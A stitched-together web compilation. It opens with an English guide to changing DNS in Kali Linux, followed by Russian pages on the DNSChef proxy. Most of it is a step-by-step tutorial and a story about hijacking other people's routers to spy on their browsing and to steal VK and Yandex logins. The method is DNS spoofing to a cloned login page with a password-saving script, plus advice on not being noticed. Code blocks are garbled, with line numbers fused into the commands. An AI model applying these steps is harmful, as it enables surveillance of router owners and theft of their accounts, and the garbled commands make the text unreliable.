- Change DNS in Kali
- Displaying current configuration of resolv.conf file
- Install and start resolvconf service
- Modifying resolvconf base and resolv.conf file with new servers
- Conclusion
- Инструменты Kali Linux
- Список инструментов для тестирования на проникновение и их описание
- DNSChef
- Описание DNSChef
- Справка по DNSChef
- Руководство по DNSChef
- Примеры запуска DNSChef
- Установка DNSChef
- Установка в BlackArch
- Установка в Debian и производные (Ubuntu, Mint)
- Конкурс Фишинговая атака с подменой DNS
- Применение фальшивого DNS
- Принцип работы DNS и фальшивого DNS
- Программы для DNS прокси
- Запуск и остановка DNS прокси
- Сбор сведений, какие сайты посетил владелец роутера
- Блокировка сайтов с использованием DNS прокси
- Кража логинов и паролей с помощью DNS прокси
Change DNS in Kali
By Singh
Post date
Usually it is not recommended to change the DNS in one specific host. Instead it should be done at default router DHCP server. You might be in a scenerio where you want to change DNS in Kali itself due to some constraint. So we will quickly go through from the steps to change DNS in Kali using command line interface.
Displaying current configuration of resolv.conf file
File resolv.conf is located on etc folder path in Kali linux. To display the file content we can use cat command.
In my case, it is pointing to my router IP and I have pointed router DNS IP to public ISP. Also you can check that this file is generated by NetworkManager service. Please be informed that if we will modify the file then it will be overwritten.
Install and start resolvconf service
By default, Kali doesn’t have the resolvconf service pre-installed. We need to use apt install comand to install the service first.
You need to enable and run the resolvconf service after installation. We will check the service status after hitting the start command to make sure service enters into an active state.
Now you can check the status of resolv.conf file. Notice resolvconf service. modified the file.
Modifying resolvconf base and resolv.conf file with new servers
You can see that it is still pointing to my router gateway address. First we need to make changes in resolvconf base file and then we will modify network interfaces file.
You need to enter your desired set of nameserver details. I have used CloudFlare and Google public DNS IP Addresses for demonstartion.
Next we will modify the network interfaces file and will enter same set of DNS nameserver details.
Enter your dns-nameserver which can be anything or you can use public DNS servers.
Restart NetworkManager service and resolvconf.service after making all changes. Upon restart, you can see the modified resolvconf file.
If you don’t see the changes in resolv.conf file as displayed here then you can restart your linux machine. Sometimes it require a reboot of machine, however in most cases service restart does the magic.
Conclusion
Here we learnt how we can change DNS in Kali linux. These steps might work on other linux distrubutions as well. On a side note, I still don’t recommend to make to make change DNS in Kali linux, or infact any specific machine manually. The recommended way is to update your router or DHCP server configuration so that all the machines and devices in your network points to the desired DNS servers.
Источник
Инструменты Kali Linux
Список инструментов для тестирования на проникновение и их описание
DNSChef
Описание DNSChef
DNSChef — это высоко настраиваемый DNS прокси для тестеров на проникновение и аналитиков вредоносных программ. DNS прокси (также известный как «Fake DNS», фальшивый DNS) является инструментом, используемым для анализа сетевого трафика приложений в то время, как кто-то использует сеть. Например, DNS прокси можно использовать для поддельных запросов на «badguy.com», указывая на локальную машину для обрыва или перехвата этих запросов, направленных куда-либо в Интернет.
Существует несколько DNS прокси. Большинство просто указывают на все DNS запросы единственный IP адрес или реализуют только элементарную фильтрацию. DNSChef был создан как часть теста на проникновение при котором нужна была более гибкая для настройки система. Как результат, DNSChef — это кроссплатформенное приложение, способное подделывать ответы основываясь как на списках включения, так и исключения доменов, поддерживающее множество типов записей DNS, поиск соответствий доменов по подстановочным символам, ретрансляция истинных ответов для остальных доменов, работать с внешними файлами конфигурации, IPv6 и многими другими функциями.
Использовать DNS прокси рекомендуется в ситуациях, когда невозможно заставить приложение использовать какой-либо другой прокси сервер напрямую. Например, некоторые мобильные приложения полностью игнорируют настройки OS HTTP Proxy. В этих случаях, использование DNS прокси сервер, такого как DNSChef, позволит вам перехитрить это приложение и направить подключения к желаемой цели.
Справка по DNSChef
DNSChef — это высоко настраиваемый DNS прокси для тестеров на проникновение и аналитиков вредоносных программ. Он способен к тонкой настройке какие DNS ответы модифицировать, а какие просто ретранслировать с реальными ответами. Для того, чтобы воспользоваться этим инструментом вы должны или вручную настроить или отравить записи DNS сервера для указания на DNSChef. Инструменту требуются привилегии рута для запуска на привилегированных портах.
Руководство по DNSChef
Страница man отсутствует.
Примеры запуска DNSChef
Запуск DNSChef без опций – программа будет выступать в роли ретрослятора DNS запросов на настоящий DNS сервер и будет выводить данные о любой активности в стандартный вывод:
Запуск программы на интерфейсе с IP 185.117.153 (-i 185.117.153.79) и сохранять данные об активности в файл /root/dns.log (—logfile=/root/dns.log):
Для домена blackarch.ru (—fakedomains blackarch.ru) поменять адрес на фальшивый127.0.0.1 (—fakeip 127.0.0.1), не выводить заголовки (-q)
Установка DNSChef
Программа предустановлена в Kali Linux.
Установка в BlackArch
Установка в Debian и производные (Ubuntu, Mint)
Информация об установке в другие операционные системы будет добавлена позже.
Источник
Конкурс Фишинговая атака с подменой DNS
Данная статья написана в ознакомительных целях, с одним единственным напутствием — просветить Вас о том, как не попасться на удочку злоумышленников, которые желают завладеть Вашими регистрационными данными (e-mail, логин, пароль и другими).
Однажды я решил проучить своего друга, сетевой роутер которого был защищён парой login: pass, которая конечно же никому не могла прийти в голову, а именно admin:admin. На мои доводы о том, что нужно сменить пароль на роутере, мой друг лишь отмахивался и говорил — «кому это нужно». В основном компьютер служил ему для того, чтобы пообщаться и полистать ленту новостей «В Контакте», данная соцсеть даже была установлена стартовой страницей по умолчанию в браузере Mozilla Firefox. Естественно, обо всём этом мне было известно.
В один прекрасный день дружбан прибежал с пар домой, включил комп зашёл в свой любимый контакт, ввёл логин и пароль, но социальная сеть не давала ему залогиниться. Друг отчаянно ввёл логин с паролем ещё 15 раз, и после очередной неудачной попытки позвонил мне. Я посоветовал ему перезагрузить роутер, после чего всё прекрасно заработало. Друг зашёл в ВК и увидел сообщение от «неизвестного человека», в котором были указаны его логин и пароль от ВКонтакта.
КАК МНЕ УДАЛОСЬ ЭТО СДЕЛАТЬ
1. Я создал свой DNS сервер;
2. Зашёл в настройки роутера друга (логин и пароль были мне известны);
3. Подменил DNS, указанный в его роутере, на свой и перезагрузил роутер.
1. Создание DNS сервера
Для того, чтобы создать свой DNS сервер, я взял в аренду самый дешёвый VDS (коих в сети предостаточно) под управлением операционной системы Linux Debian 8.5 (я использовал ruvds.com и далее буду рассматривать на его примере). Подключился к нему через специальное приложение PuTTY, введя предоставленные мне учётные данные от VDS и указав следующие значения:
Открывается такое окошко, в котором мы вводим логин и пароль от VDS, которые можно вставить нажатием правой кнопки мыши (пароль в окне PuTTY не отображается никакими символами) и жмём Enter.
При появлении вопроса «Do you want continue [Y/n]» жмём Enter.
Далее для установки DNS сервера вводим следующие команды:
Далее создаём нашу фишинговую страничку index.html и загружаем её на VDS при помощи клиента FileZilla.
Переходим Файл > Менеджер сайтов и вбиваем наши данные, указывая значения, как показано ниже, и жмём Соединиться.
Заходим в директорию /var/www/html, удаляем находящийся там файл index.html и загружаем вместо него наш фишинговый index.html.
Далее вновь запускаем PuTTY и вводим следующие значения:
—truedomains — разрешённые домены, к которым будет доступ (можно указать несколько через запятую);
IPV4 — это обычный IP нашего VDS сервера
IPV6 — нужно сконвертировать из нашего IPV4 (например на этом сайте: Конвертер IPv4/IPv6 | NetworkCenter)
На этом наш DNS сервер готов к работе.
На последнем шаге вбиваем в браузере IP-адрес и порт роутера нашего друга, вводим его учётные данные (логин и пароль), ищем, где прописан DNS, и заменяем его на наш DNS сервер.
На примере роутера TP-Link это выглядит так
Устанавливайте сложные пароли на свои роутеры и Ваша машина будет защищена от атак подобного рода! Мира Вам и Вашему дому!
Источник
Применение фальшивого DNS
При получении доступа к настройкам сетевого оборудования, когда физически мы находимся с ним не в одной локальной сети (по сути, когда невозможна атака человек-посередине), то одной из альтернатив может стать использование DNS прокси. Данный метод позволяет собрать разнообразную информацию и даже получить логины и пароли от сайтов. Данный метод применим, например, для каждого из роутеров в административную панель которых мы имеем доступ с помощью программы Router Scan by Stas’M.
Принцип работы DNS и фальшивого DNS
Если сказать очень упрощённо, то, когда в строку браузера мы вводим адрес сайта, например https://hackware.ru/, то компьютеру этот набор символов ничего не говорит. Он обращается к специально предназначенному для этого компьютеру в Интернете (DNS серверу) и спрашивает его, по какому адресу расположен домен hackware.ru. Сервер отвечает IP адресом. После этого наш компьютер обращается уже по IP адресу к серверу, на котором размещён hackware.ru. При этом в строке браузера ничего не меняется и для пользователей всё это происходит незаметно. Ещё раз повторю, это упрощённая, фактически, не совсем верная модель, но суть она отражает и для наших целей подходит идеально.
Когда мы получаем доступ к настройкам сетевого оборудования, то мы можем изменить любую информацию, в том числе и прописать адрес своего DNS сервера. Наш фальшивый DNS сервер мы можем настроить как угодно:
- он может отсылать неверный IP для всех запросов (так мы заблокируем Интернет подключение)
- он может отсылать неверный IP для конкретных сайтов (остальные сайты будут работать, а некоторые – нет)
- он может отсылать IP сервера, на котором будет копия настоящего сайта, при этом при вводе логина и пароля они будут сохраняться для нас.
При этом, если мы выбрали подменять информацию только для определённых сайтов, то для всех остальных наш DNS прокси будет спрашивать верные IP у настоящего DNS сервера, а потом переправлять верный ответ.
Программы для DNS прокси
Фальшивый DNS сервер ещё называют DNS прокси. В этой заметке я буду делать на примере DNSChef, она предустановлена и в Kali Linux, и в BlackArch. Ещё одна программа с аналогичной функциональностью — dns2proxy.
Если у вас дистрибутив, в котором в репозиториях DNSChef отсутствует, то вы можете самостоятельно установить любую из этих программ. Например, в производных Debian (Linux Mint, Ubuntu) это делается так:
1234567 | sudo apt-get install python-ipysudo pip install dnslibwget http://thesprawl.org/media/projects/`curl -s http://thesprawl.org/projects/dnschef/ | grep -E -o ‘dnschef-3<1,2>.1<1,2>.zip’ | head -n 1`unzip dnschef-*rm dnschef-*zipcd dnschef-*sudo python dnschef.py —help |
Ещё DNSChef прокси работает на Windows, причём даже не нужно ставить зависимости – бинарные файлы скомпилированы уже с ними. Но я в качестве сервера не использую Windows, поэтому каких-то детальных инструкций дать не могу.
Обычно, мы не можем запустить DNS прокси на нашем собственном компьютере, поскольку для работы нужно несколько условий:
- белый IP адрес
- постоянное подключение к Интернету
- ОС Linux (для меня это необходимое условие)
Самым простым и очевидным решением здесь является использование VDS. Можно воспользоваться готовыми вариантами, которые не требуют настройки (Debian, Ubuntu) и установить в них DNSChef как показано чуть выше. Можно целиком загрузить туда Kali Linux, поскольку хостер поддерживает пользовательские дистрибутивы. Это всё не принципиально – DNSChef везде будет работать одинаково. Если кому-то интересно, то я в качестве удалённого сервера использую BlackArch. Детальные инструкции по его настройке вы можете найти в разделе «Arch / BlackArch как сервер» здесь.
Независимо от того, кукую ОС вы выбрали, опции командной строки для DNSChef везде одинаковые.
Запуск и остановка DNS прокси
Запускать DNSChef нужно с ключом -i после которого должен идти IP вашего сервера (вашего VDS). Если вы по какой-то причине забыли IP вашего сервера, то узнать его можно, например, так:
Также для сохранения данных в файл можно воспользоваться опцией —logfile после которой указать путь до файла для сохранения истории запросов.
Ещё до самой команды можно поставить команду nohup, а после команды символ &; это приведёт к тому, что после закрытия терминала процесс продолжит свою работу в фоне (подробности здесь). Таким образом, если у меня IP 185.117.153.79, а сохранять данные я буду в файл /root/dns.log, то моя команда имеет полный вид:
1 | sudo nohup dnschef -i 185.117.153.79 —logfile=/root/dns.log & |
Просматривать записываемые данные можно, например, так:
1 | cat /root/dns.log |
Если вы хотите остановить процесс, то узнайте его pid с помощью
1 | ss -pnau |
Посмотрите, какой процесс прослушивает порт 53, а затем используйте команду
1 | kill pid_процесса_на_порту_53 |
Сбор сведений, какие сайты посетил владелец роутера
Если запустить DNSChef с минимальным набором опций, например, так:
1 | sudo nohup dnschef -i IP_вашего_DNS_прокси —logfile=/root/dns.log & |
То DNSChef не будет оказывать никакого влияния на DNS записи. При получении DNS запроса он будет спрашивать у настоящего DNS сервера правдивые данные, а затем пересылать их запрашивающему. Таким образом, можно узнать, какие сайты были посещены.
Вносим изменения в роутер, доступ к которому мы получили. В поле Primary DNS Address я вписываю адрес своего DNS прокси и сохраняю изменения:
Перед тем как заменить запись на свою, обратите внимание на ту, которая там есть. Если она отличается от распространённых публичных DNS серверов (например, 8.8.8.8 и 8.8.4.4), то имеет смысл воспользоваться опцией —nameservers и указать там тот DNS, который присутствовал в настройках роутера изначально. Это очень хороший способ не выдать наше присутствие, поскольку роутер может использовать пользовательский DNS с только этому серверу известными записями (такое запросто может быть, если админ для своей локальной сети использует несуществующие домены). При этом ни наш сервер, ни сервер по умолчанию для запроса реальных данных (8.8.8.8) ничего об этих доменах не могут знать. Это может нарушить работу и пользователей роутера и выдать наше присутствие. Если же мы добавим к команде, например, —nameservers=212.109.216.106(в моём случае, IP 212.109.216.106 – это та запись, которая изначально была для первичного DNS сервера), то через наш DNS прокси запросы будут идти на тот же самый DNS, что и настроил админ. При этом мы по-прежнему сможем вести запись запросов и модифицировать ответы, т.е. на нашу работу применение этой опции никак не сказывается.
После этого начинается сбор данных:
Кроме сайтов, непосредственно посещённых пользователем, некоторые программы делают запросы к сайтам и веб-приложениям, они тоже в этом списке. Из «человеческих» здесь можно обратить внимание на сайты:
У кого-то установлен автоматический обновлятель драйверов
Эти записи говорят об использовании Team viewer
А DNS запросы об этих сайтах говорят об использовании техники Apple
- p47-buy.itunes.apple.com
- captive.apple.com
- p09-keyvalueservice.icloud.com
- apple.com
- guzzoni.apple.com
- www.apple.com
- init-p01st.push.apple.com
Тут видно, что наконец-то люди проснулись и начали пользоваться Интернетом:
Надеюсь это не роутер на работе – дальше там в основном идут одни социальные сети. ))
Узнать, какие сайты посетил пользователь уязвимого роутера – это хорошо, но явно мало.
Блокировка сайтов с использованием DNS прокси
Мы можем полностью «запретить» использование Интернета отправляя вместо реальных IP неверный в ответ на все запросы. Это делается опцией —fakeip. Пример:
1 | sudo nohup dnschef -i IP_вашего_DNS_прокси —fakeip 127.0.0.1 —logfile=/root/dns.log & |
У конечного пользователя будет ошибка что-то вроде невозможно подключиться к DNS, сайты открываться не будут.
Используя пример выше, рассмотрим ситуацию, что вы хотите перехватить запросы только для blackarch.ru и оставить запросы на все другие домены, такие как suip.biz без модификации. Вы можете использовать параметр —fakedomains как проиллюстрировано ниже
1 | sudo nohup dnschef -i IP_вашего_DNS_прокси —fakeip 127.0.0.1 —fakedomains blackarch.ru —logfile=/root/dns.log & |
Можно использовать файлы, в которых прописать, к каким доменам обрывать подключения, или, наоборот, запретить доступ ко всем, кроме отдельных. Больше подобных примеров можно посмотреть здесь. Мне не хочется на этом останавливаться, т.к. какой-то выгоды от этого трудно получить, разве что заблокировать соц.сети от далёких с компьютерными технологиями людей (это легко обходиться).
Кража логинов и паролей с помощью DNS прокси
Это самая интересная часть, но и самая сложная. Кроме основ по использованию ОС Linux вы также должны владеть основами по администрированию веб-серверов, добавлению виртуальных хостов, а также уметь использовать дополнительные программы. На самом деле, чего-то очень трудного в этом нет, веб сервер уже даже может быть настроен (если вы заказали сконфигурированный Debian или Ubuntu). Как уже сказал, каких-то особых знаний здесь не требуется, это просто нужно уметь делать.
Алгоритм здесь следующий. Предположим, мы хотим узнать логин и пароль пользователя от сайта Яндекс (yandex.ru). Мы создаём виртуальный хост yandex.ru на нашем сервере. Там мы размещаем фальшивую страницу авторизации, которая сохранит для нас логин и пароль, введённый пользователем. Далее мы ждём, пока кто-нибудь подключиться к нашему серверу. Но… к нему никто не подключится, поскольку в реальных DNS записях указан не IP нашего сервера, а совершенно другого. Но вы ведь помните, что мы теперь контролируем все DNS запросы для конкретного человека (роутера)? Т.е. мы вместо отправки ему настоящего IP отправляем IP нашего фейкового yandex.ru и теперь уже ждём подключения с большими шансами.
Начнём по порядку. Предположим, что веб-сервер вы уже настроили или сами найдёте, как это сделать на Linux. Теперь добавляем виртуальный хост yandex.ru (я буду делать на примере BlackArch, но суть везде примерно одинаковая).
Начинаю с создания папки:
12 | mkdir -p /var/web/yandex.ruecho ‘Pod konstructorom’ > /var/web/yandex.ru/index.html |
1 | vim /etc/httpd/conf/sites-enabled/yandex.ru.conf |
примерно следующего содержания
12345678910111213141516 | DocumentRoot «/var/web/yandex.ru» ServerName yandex.ru ServerAdmin you@example.com ErrorLog «/var/log/httpd/localhost-error_log» TransferLog «/var/log/httpd/localhost-access_log» Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order deny,allow Allow from allRequire all granted |
Действительно важными здесь являются строки (первая указывает физическое расположение папки с сайтом, вторая – имя, которое сервер будет сопоставлять с папкой на сайте):
12 | DocumentRoot «/var/web/yandex.ru»ServerName yandex.ru |
Расположение логов вы можете настроить по своему желанию.
После этого перезапустите веб-сервер:
1 | systemctl restart httpd.service |
Проверить наш виртуальный хост мы пока не можем, поскольку нам нужно настроить DNSChef, чтобы он отправлял IP нашего подложного сервера вместо оригинального. Останавливаем DNSChef. И заново запускаем его примерно такой командой:
1 | sudo nohup dnschef -i IP_вашего_DNS_прокси —fakeip IP_вашего_веб-сервера —fakedomains yandex.ru —logfile=/root/dns.log & |
Например, конкретная команда в моём случае:
1 | sudo nohup dnschef -i 185.117.153.79 —fakeip 185.117.153.79 —fakedomains yandex.ru —logfile=/root/dns.log & |
Я не собираюсь воровать чьи-либо учётные данные (по крайней мере сейчас), поэтому случайно выбранных «жертв» я отключаю от своего DNS, возвращаю им оригинальные записи и дальше продолжаю тренироваться в лабораторных условиях.
Итак, при попытке открыть yandex.ru я теперь наблюдаю:
Этого явно недостаточно для получения логина и пароля. Нам нужно задействовать что-то вроде Social-Engineer Toolkit (SET). К сожалению, именно в этой ситуации SET не способна помочь. Она делает клон только HTML страницы сайта, а картинки, скрипты и прочее подгружает с оригинального. В нашем случае, ничего с оригинального сайта загружено быть не может, поскольку обращения будут идти к нашему веб-серверу, на котором никаких картинок и других необходимых файлов нет. Т.е. страница будет открываться, но выглядеть она будет очень неестественно.
Нам способна помочь программа HTTrack. Давайте создадим каталог и в нём сделаем полный клон одной страницы сайта:
123 | mkdir mirrorcd mirrorhttrack http://yandex.ru -r2 |
Теперь мы перенесём наш клон в директорию виртуального хоста:
12 | rm -rf /var/web/yandex.ru/*mv yandex.ru/ /var/web/ |
При попытке открыть теперь всё будет выглядеть весьма достойно (хотя данные больше не обновляются и отсутствует реклама):
Нам нужно отредактировать файл, чтобы данные для входа отправлялись на наш сервер файлу, который для этого предназначен. Нужно базовое знание HTML разметки или хотя бы понимание, как работает отправка через формы, поскольку у каждого сайта нужно изменить свою строку, отличающуюся от других. Открываем файл
1 | vim /var/web/yandex.ru/index.html |
1 | action=»https://passport.yandex.ru/passport?mode=auth&retpath=https://mail.yandex.ru» |
нужно заменить на строку вида
1 | action=»/файл_сохраняющий_пароли» |
В моём случае (файл для сохранения паролей post.php) строка имеет вид:
1 | action=»/post.php?mode=auth&retpath=https://mail.yandex.ru» |
На всё, что идёт после вопросительного знака можно не обращать внимание – в подобных случаях это не оказывает никакого влияния.
Ещё нам нужен сам файл post.php, который будет принимать и сохранять логины и пароли:
1 | vim /var/web/yandex.ru/post.php |
Пишем туда примерно такое:
1 | Error occurred. |
Создадим файл и сделаем его владельцем пользователя http (в Arch Linux это веб-сервер):
12 | touch /var/web/yandex.ru/gotit.txtchown -R http:http /var/web/yandex.ru/gotit.txt |
Вводим свои учётные данные для проверки. Обратите внимание, что на страницах работает автозаполнение! Т.е. веб-браузер уверен, что страница загружена с истинного сервера.
Может быть это не очевидно, но домен yandex.ru и www.yandex.ru – это две большие разницы! На самом деле, физически файлы в yandex.ru и www.yandex.ru могут находиться на разных серверах. Но не это нам интересно. Нам интересно то, что подменяя IP в DNS записи для yandex.ru, после «аутентификации» мы можем сделать редирект на www.yandex.ru и пользователь попадёт именно на реальный сайт, а не на наш сервер (конечно, если мы и для этого домена не подменили ответ от DNS сервера).
Статья не может быть бесконечной, поэтому здесь она кончается, но ещё можно было бы поговорить о:
Источник